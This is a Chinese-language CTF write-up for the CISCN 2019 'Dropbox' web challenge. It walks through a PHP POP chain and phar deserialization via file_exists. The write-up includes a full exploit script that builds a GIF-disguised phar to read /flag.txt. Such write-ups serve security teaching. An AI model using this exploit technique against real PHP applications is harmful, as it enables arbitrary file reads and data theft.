> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-bei-sai-qu-dropbox.md).

# \[华北赛区]Dropbox

注册登录，有个网盘管理功能，直接在POST区域提交文件名，于是利用文件名读取网站文件。

重点在class.php，定义了三个类User、FileList、File，User与数据库交互，FileList和File用来显示和下载文件。

其中这里有个\_\_call方法：

```
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
```

在不存在方法时被调用，这里似乎提供了构造POP链进行反序列化的思路，看一下是否有什么读取文件的利用点。

```
    public function close() {
        return file_get_contents($this->filename);
    }
```

File类中存在close()方法，可以返回读取文件的内容。巧合的是在User类中有调用同名方法，在\_\_destruct()中关闭数据库连接：

```
    public function __destruct() {
        $this->db->close();
    }
```

整个链构造比较简单，在User类中触发\_\_destruct()，调用FileList的close()方法，由于FileList不存在close()方法，进而调用FileList的\_\_call()方法，调用FileList类中$files中的方法$file->close()，进而触发读取文件file\_get\_contents()。

剩下的就是找到反序列化点，这里没有任何能直接传入反序列化字符串的点，但是有文件上传功能，于是考虑phar反序列化。在delete.php（download.php中也有）

```
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
```

在调用open函数时，调用了file\_exists，该函数可以触发phar伪协议进行反序列化，尽管没有进入if语句，但是仍然是触发了。

exp（写的比较乱）：

```
<?php

class User
{
    public $db;

    public function __construct($db)
    {
        $this->db = $db;
    }

    public function __destruct()
    {
        $this->db->close();
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct($files)
    {
        $this->files = array($files);
        $this->results = array();
        $this->funcs = array();
    }

    public function __call($func, $args)
    {
        array_push($this->funcs, $func); // $this->funcs = array('close')
        foreach ($this->files as $file) { // $this->file = ($file)
            $this->results[$file->name()][$func] = $file->$func(); // $file->close()
        }
    }
}

class File
{
    public $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;
    }

    public function name()
    {
        return basename($this->filename);
    }

    public function close()
    {
        return file_get_contents($this->filename);
    }
}

$file = new File('/flag.txt');
$list = new FileList($file);
$user = new User($list);

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');   //设置stub，增加gif文件头
$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
$phar->setMetadata($user);  //将自定义meta-data存入manifest
$phar->stopBuffering();
```
